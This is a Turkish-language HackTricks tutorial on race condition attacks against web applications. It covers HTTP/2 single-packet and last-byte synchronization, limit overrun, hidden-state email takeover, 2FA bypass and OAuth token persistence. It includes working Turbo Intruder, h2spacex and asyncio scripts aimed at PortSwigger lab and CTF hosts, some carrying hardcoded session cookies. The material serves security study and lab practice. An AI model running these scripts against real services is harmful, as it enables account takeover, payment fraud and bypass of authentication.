Race Condition

Reading time: 13 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

warning

Bu tekniği derinlemesine anlamak için orijinal raporu https://portswigger.net/research/smashing-the-state-machine adresinde kontrol edin.

Race Condition Saldırılarını Geliştirme

Race condition'ları avantaja çevirmenin ana engeli, birden fazla isteğin işlem sürelerinde çok az farkla—idealde 1ms'den az aynı anda işlenmesini sağlamaktır.

İstekleri Senkronize Etmek için bazı teknikler burada bulunmaktadır:

HTTP/2 Tek-Paket Saldırısı vs. HTTP/1.1 Son-Bayt Senkronizasyonu

  • HTTP/2: Tek bir TCP bağlantısı üzerinden iki isteğin gönderilmesini destekler, ağ jitter etkisini azaltır. Ancak, sunucu tarafındaki varyasyonlar nedeniyle, iki istek tutarlı bir race condition istismarına yeterli olmayabilir.
  • HTTP/1.1 'Son-Bayt Senkronizasyonu': 20-30 isteğin çoğu kısmının önceden gönderilmesini sağlar, küçük bir parçayı saklayarak, bu parça daha sonra birlikte gönderilir ve sunucuya eşzamanlı varış sağlanır.

Son-Bayt Senkronizasyonu için Hazırlık şunları içerir:

  1. Akışı sonlandırmadan son bayt hariç başlık ve gövde verilerini göndermek.
  2. İlk gönderimden sonra 100ms beklemek.
  3. Son çerçeveleri gruplamak için Nagle algoritmasını kullanmak üzere TCP_NODELAY'i devre dışı bırakmak.
  4. Bağlantıyı ısıtmak için ping atmak.

Saklanan çerçevelerin sonraki gönderimi, Wireshark ile doğrulanabilir şekilde tek bir pakette varış sağlamalıdır. Bu yöntem, genellikle RC saldırılarında yer almayan statik dosyalara uygulanmaz.

Sunucu Mimarisine Uyum Sağlama

Hedefin mimarisini anlamak çok önemlidir. Ön uç sunucular, istekleri farklı yönlendirebilir ve zamanlamayı etkileyebilir. Önleyici sunucu tarafı bağlantı ısıtma, önemsiz istekler aracılığıyla istek zamanlamasını normalleştirebilir.

Oturum Tabanlı Kilitlemeyi Yönetme

PHP'nin oturum yöneticisi gibi çerçeveler, istekleri oturum bazında seri hale getirir ve potansiyel olarak zayıflıkları gizleyebilir. Her istek için farklı oturum jetonları kullanmak bu sorunu aşabilir.

Hız veya Kaynak Sınırlamalarını Aşma

Bağlantı ısıtma etkili değilse, web sunucularının hız veya kaynak limit gecikmelerini kasıtlı olarak bir dizi sahte istekle tetiklemek, sunucu tarafında race condition'lara uygun bir gecikme oluşturarak tek paket saldırısını kolaylaştırabilir.

Saldırı Örnekleri

  • Tubo Intruder - HTTP2 tek-paket saldırısı (1 uç nokta): İsteği Turbo intruder'a (Extensions -> Turbo Intruder -> Send to Turbo Intruder) gönderebilirsiniz, istekte %s için brute force yapmak istediğiniz değeri değiştirebilirsiniz, örneğin csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s ve ardından açılır menüden examples/race-single-packer-attack.py'yi seçin:

Eğer farklı değerler gönderecekseniz, panodaki bir kelime listesini kullanan bu kod ile kodu değiştirebilirsiniz:

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

Eğer web HTTP2'yi desteklemiyorsa (sadece HTTP1.1) Engine.BURP2 yerine Engine.THREADED veya Engine.BURP kullanın.

  • Tubo Intruder - HTTP2 tek paketli saldırı (Birçok uç nokta): Eğer 1 uç noktaya bir istek göndermeniz ve ardından RCE'yi tetiklemek için diğer uç noktalara birden fazla istek göndermeniz gerekiyorsa, race-single-packet-attack.py scriptini şu şekilde değiştirebilirsiniz:
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Ayrıca Repeater'da Burp Suite'teki yeni 'Grupları paralel gönder' seçeneği ile de mevcuttur.
  • Limit-aşımı için gruba aynı isteği 50 kez ekleyebilirsiniz.
  • Bağlantı ısınması için grubun başına web sunucusunun bazı statik olmayan kısımlarına istekler ekleyebilirsiniz.
  • Bir isteği işlemek ile diğerini işlemek arasında süreci geciktirmek için, her iki isteğin arasına ekstra istekler ekleyebilirsiniz.
  • Çoklu uç nokta RC için, gizli duruma giden isteği göndermeye başlayabilir ve ardından gizli durumu istismar eden 50 isteği hemen arkasından gönderebilirsiniz.
  • Otomatik python scripti: Bu scriptin amacı, bir kullanıcının e-posta adresini değiştirmek ve yeni e-posta adresinin doğrulama tokeni son e-posta adresine ulaşana kadar sürekli olarak doğrulamaktır (bu, kodda bir e-posta adresinin değiştirilip doğrulamanın eski adrese gönderilebildiği bir RC görüldüğü için olmuştur).
    "objetivo" kelimesi alınan e-postalarda bulunduğunda, değiştirilmiş e-posta adresinin doğrulama tokenini aldığımızı biliyoruz ve saldırıyı sonlandırıyoruz.
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Tek Paket Saldırısını Geliştirme

Orijinal araştırmada, bu saldırının 1.500 baytlık bir sınırı olduğu açıklanmıştır. Ancak, bu yazıda tek paket saldırısının 1.500 baytlık sınırlamasını IP katmanı parçalama (tek bir paketi birden fazla IP paketine bölme) kullanarak TCP'nin 65.535 B pencere sınırlamasına nasıl genişletilebileceği açıklanmıştır ve bunların farklı bir sırayla gönderilmesi, tüm parçalar sunucuya ulaşana kadar paketin yeniden birleştirilmesini engellemiştir. Bu teknik, araştırmacının yaklaşık 166 ms içinde 10.000 istek göndermesine olanak tanımıştır.

Bu iyileştirmenin, aynı anda yüzlerce/binlerce paketin ulaşmasını gerektiren RC'de saldırıyı daha güvenilir hale getirdiğini unutmayın, ancak bazı yazılım sınırlamaları da olabilir. Apache, Nginx ve Go gibi bazı popüler HTTP sunucuları, SETTINGS_MAX_CONCURRENT_STREAMS ayarını sırasıyla 100, 128 ve 250 olarak belirlemiştir. Ancak, NodeJS ve nghttp2 gibi diğerleri sınırsızdır.
Bu, temelde Apache'nin tek bir TCP bağlantısından yalnızca 100 HTTP bağlantısını dikkate alacağı anlamına gelir (bu RC saldırısını sınırlayarak).

Bu tekniği kullanan bazı örnekleri https://github.com/Ry0taK/first-sequence-sync/tree/main reposunda bulabilirsiniz.

Ham BF

Önceki araştırmadan önce, sadece paketleri mümkün olduğunca hızlı göndermeye çalışan bazı yükler kullanılmıştır.

  • Tekrarlayıcı: Önceki bölümden örneklere bakın.
  • Saldırgan: İsteği Saldırgana gönderin, Seçenekler menüsünde iş parçacığı sayısını 30 olarak ayarlayın ve yük olarak Null yükleri seçin ve 30 oluşturun.
  • Turbo Saldırgan
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Metodolojisi

Limit-aşımı / TOCTOU

Bu, hareketi gerçekleştirebileceğiniz zaman sayısını sınırlayan yerlerde görünmeye başlayan zayıflıkların bulunduğu en temel yarış durumu türüdür. Örneğin, bir web mağazasında aynı indirim kodunu birkaç kez kullanmak. Çok basit bir örnek bu raporda veya bu hatada.

Bu tür saldırının birçok varyasyonu vardır, bunlar arasında:

  • Bir hediye kartını birden fazla kez kullanma
  • Bir ürünü birden fazla kez değerlendirme
  • Hesap bakiyenizin üzerinde nakit çekme veya transfer etme
  • Tek bir CAPTCHA çözümünü yeniden kullanma
  • Bir anti-brute-force hız limitini aşma

Gizli alt durumlar

Karmaşık yarış durumlarını istismar etmek genellikle gizli veya istenmeyen makine alt durumlarıyla etkileşimde bulunmak için kısa fırsatları değerlendirmeyi içerir. İşte buna yaklaşmanın yolu:

  1. Potansiyel Gizli Alt Durumları Belirleyin
  • Kullanıcı profilleri veya şifre sıfırlama süreçleri gibi kritik verileri değiştiren veya bunlarla etkileşime giren uç noktaları belirleyerek başlayın. Şuna odaklanın:
  • Depolama: Sunucu tarafında kalıcı verileri manipüle eden uç noktaları, istemci tarafında veri işleyenlerden daha fazla tercih edin.
  • Eylem: Mevcut verileri değiştiren işlemleri arayın; bunlar yeni veri ekleyenlere göre istismar edilebilir koşullar yaratma olasılığı daha yüksektir.
  • Anahtar: Başarılı saldırılar genellikle aynı tanımlayıcıya, örneğin kullanıcı adı veya sıfırlama jetonuna dayalı işlemleri içerir.
  1. İlk Keşfi Gerçekleştirin
  • Belirlenen uç noktaları yarış durumu saldırılarıyla test edin ve beklenen sonuçlardan herhangi bir sapma olup olmadığını gözlemleyin. Beklenmedik yanıtlar veya uygulama davranışındaki değişiklikler bir zayıflığın sinyalini verebilir.
  1. Zayıflığı Gösterin
  • Zayıflığı istismar etmek için gereken en az istek sayısını daraltın; genellikle sadece iki. Bu adım, hassas zamanlama gerektirdiğinden birden fazla deneme veya otomasyon gerektirebilir.

Zaman Hassas Saldırılar

İsteklerin zamanlamasındaki hassasiyet, özellikle güvenlik jetonları için tahmin edilebilir yöntemler, örneğin zaman damgaları kullanıldığında zayıflıkları ortaya çıkarabilir. Örneğin, zaman damgalarına dayalı şifre sıfırlama jetonları oluşturmak, eşzamanlı istekler için aynı jetonların oluşmasına neden olabilir.

İstismar Etmek İçin:

  • Eşzamanlı şifre sıfırlama istekleri yapmak için tek bir paket saldırısı gibi hassas zamanlama kullanın. Aynı jetonlar bir zayıflığın göstergesidir.

Örnek:

  • Aynı anda iki şifre sıfırlama jetonu talep edin ve karşılaştırın. Eşleşen jetonlar, jeton oluşturma sürecinde bir hatayı gösterir.

Bunu deneyin PortSwigger Lab **.

Gizli alt durumlar vaka çalışmaları

Ödeme & Bir Ürün Ekle

Bunu kontrol edin PortSwigger Lab mağazada nasıl ödeyeceğinizi ve ekstra bir ürün ekleyeceğinizi görmek için ödemek zorunda kalmadan.

Diğer e-postaları onaylayın

Amaç, bir e-posta adresini doğrulamak ve aynı anda farklı birine değiştirmek; böylece platformun yeni değiştirilen e-postayı doğrulayıp doğrulamadığını öğrenmektir.

E-postayı 2 e-posta adresine Değiştirin Çerez Tabanlı

Bu araştırmaya göre, Gitlab bu şekilde bir ele geçirmeye karşı savunmasızdı çünkü bir e-postanın doğrulama jetonunu diğer e-postaya gönderebilir.

Bunu deneyin PortSwigger Lab **.

Gizli Veritabanı durumları / Onay Atlama

Eğer 2 farklı yazma işlemi veri eklemek için veritabanı içinde kullanılıyorsa, veritabanına yalnızca ilk verinin yazıldığı küçük bir zaman dilimi vardır. Örneğin, bir kullanıcı oluştururken kullanıcı adı ve şifre yazılabilir ve ardından yeni oluşturulan hesabı onaylamak için jeton yazılır. Bu, bir hesabı onaylamak için jetonun null olduğu küçük bir süre olduğu anlamına gelir.

Bu nedenle, bir hesap kaydetmek ve hemen onaylamak için boş bir jetonla (token= veya token[]= veya başka bir varyasyon) birkaç istek göndermek, kontrol etmediğiniz bir e-postaya sahip bir hesabı onaylamanıza olanak tanıyabilir.

Bunu deneyin PortSwigger Lab **.

2FA'yı Atlama

Aşağıdaki pseudo-kod, çok kısa bir süre içinde 2FA'nın uygulanmadığı için yarış durumuna karşı savunmasızdır; bu süre zarfında oturum oluşturulmaktadır:

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 sonsuz kalıcılık

Birçok OAUth sağlayıcısı bulunmaktadır. Bu hizmetler, bir uygulama oluşturmanıza ve sağlayıcının kaydettiği kullanıcıları kimlik doğrulamanıza olanak tanır. Bunu yapmak için, istemci uygulamanızın OAUth sağlayıcısı içindeki bazı verilerine erişmesine izin vermesi gerekecektir.
Buraya kadar, sadece bir google/linkedin/github... ile giriş yapma durumu var; karşınıza "Uygulama <InsertCoolName> bilgilerinize erişmek istiyor, izin vermek ister misiniz?" diyen bir sayfa çıkıyor.

authorization_code'da Yarış Durumu

Sorun, kabul ettiğinizde ve otomatik olarak kötü niyetli uygulamaya bir authorization_code gönderdiğinizde ortaya çıkar. Ardından, bu uygulama, OAUth hizmet sağlayıcısındaki bir Yarış Durumunu kötüye kullanarak hesabınız için birden fazla AT/RT (Authentication Token/Refresh Token) oluşturur. Temelde, uygulamanın verilerinize erişmesine izin verdiğiniz gerçeğini kötüye kullanarak birden fazla hesap oluşturur. Sonrasında, eğer uygulamanın verilerinize erişmesine izin vermeyi durdurursanız, bir çift AT/RT silinecek, ancak diğerleri geçerli kalacaktır.

Refresh Token'da Yarış Durumu

Bir geçerli RT elde ettiğinizde, birden fazla AT/RT oluşturmak için bunu kötüye kullanmayı deneyebilirsiniz ve kullanıcı kötü niyetli uygulamanın verilerine erişim izinlerini iptal etse bile, birden fazla RT hala geçerli olacaktır.

WebSockets'te RC

WS_RaceCondition_PoC içinde, Yarış Durumlarını Web Sockets'te de kötüye kullanmak için websocket mesajlarını paralel olarak gönderen bir Java PoC bulabilirsiniz.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin